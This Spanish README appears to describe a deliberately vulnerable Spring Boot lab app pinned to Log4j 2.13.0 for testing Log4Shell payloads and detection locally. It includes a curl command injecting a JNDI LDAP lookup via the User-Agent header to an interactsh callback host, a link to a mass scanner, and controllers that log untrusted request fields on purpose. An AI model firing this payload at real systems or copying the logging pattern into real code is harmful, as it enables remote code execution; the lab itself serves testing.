
Este es un hack sucio de un proyecto hello world de Spring Boot para probar tus herramientas/payloads/capacidades de detección localmente antes de lanzarlos contra objetivos en producción.
La versión de Log4j configurada es la 2.13.0
bash build.sh
docker run -p 8080:8080 dwdi/log4shell
Si no tienes Burp Collaborator ejecutándose en el garaje, puedes visitar este sitio para obtener una experiencia similar: https://interactsh.com
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null
Opcionalmente, puedes usar este increíble repositorio para realizar escaneos locales/masivos: https://github.com/adilsoybali/Log4j-RCE-Scanner
Esta vulnerabilidad se trata de forzar que un valor controlado por el usuario sea registrado por el framework de logging vulnerable. Con esto en mente, esta sencilla aplicación simulada soporta dos verbos HTTP (GET/PUT) y un montón de ubicaciones de inyección:
@GetMapping("/")
public String index(HttpServletRequest request) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
return "Log4J2 is working!";
}
@PostMapping("/")
public String post(HttpServletRequest request, @RequestBody String body) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
logger.info("Request Body: " + body); // mind the extra request body
return "Log4J2 is working!";
}
Las contribuciones/mejoras son bienvenidas.
Perdón por la calidad del código :) este proyecto no es para lucirse, sino para compartir/ayudar.